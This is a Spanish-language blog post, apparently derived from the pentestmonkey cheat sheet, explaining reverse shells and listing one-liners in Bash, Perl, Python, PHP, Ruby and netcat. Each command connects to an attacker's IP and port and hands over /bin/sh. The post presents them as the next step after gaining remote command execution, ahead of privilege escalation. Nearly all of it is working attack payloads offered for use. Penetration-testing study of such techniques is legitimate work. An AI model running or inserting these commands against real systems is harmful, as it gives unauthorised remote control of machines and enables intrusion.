Que es una Reverse Shell?

Como obtener una reverse shell

 

Cuando logramos ejecutar comandos de manera remota en un equipo nuestro objetivo principal es obtener una Reverse Shell conectándose a el equipo local mediante un puerto en escucha, posterior a esto proceder con el escalado de privilegios, a continuación una muy útil recopilación de posibles shell en diferentes lenguajes según el entorno de la maquina a la cual se ejecutara la shell

Para poder lograr la ejecucion correcta de estos comandos debes realizar los cambios de los caracteres que resalto en rojo, recuerda que debes remplazar inclusive los <>

  • ip = Ip de la maquina que recibirá la shell
  • port = puerto que esta en escucha en la maquina que recibe la shell

Entornos Unix/Linux

Bash

Detalles: Algunas versiones de Bash pueden enviarte una reverse shell

bash -i >& /dev/tcp/<ip>/<port> 0>&1

Perl

Detalles: Si el sistema objetivo tiene l Perl es posible crear una reverse shell con el siguiente comando

perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

Detalles: Esta versión solo es disponible para Python 2.7 para obtener la shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

Detalles:Si puedes ejecutar codigo remoto desde un servicio que soporte PHP es muy probable que puedas obtener la shell con el siguiente codigo

php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

Detalles: ocasionalmente si intento invocar una reverse shell con ruby genera error por lo tanto evito usarla, si te funciona buen provecho

ruby -rsocket -e'f=TCPSocket.open("<ip>",<port>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Detalles: Es muy poco común que en un entorno real nos encontremos con el servicio de netcat activo, sin embargo si logras encontrarlo puede ser muy util

nc -e /bin/sh <ip> <port>

Depende del entorno en el cual estés trabajando puedes utilizar alguno de estos códigos para obtener una reverse shell, recuerda que los resultados varían según las características.

Cordialmente

0x00Sector!

Fuente pentestmonkey

Social

Social

 

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *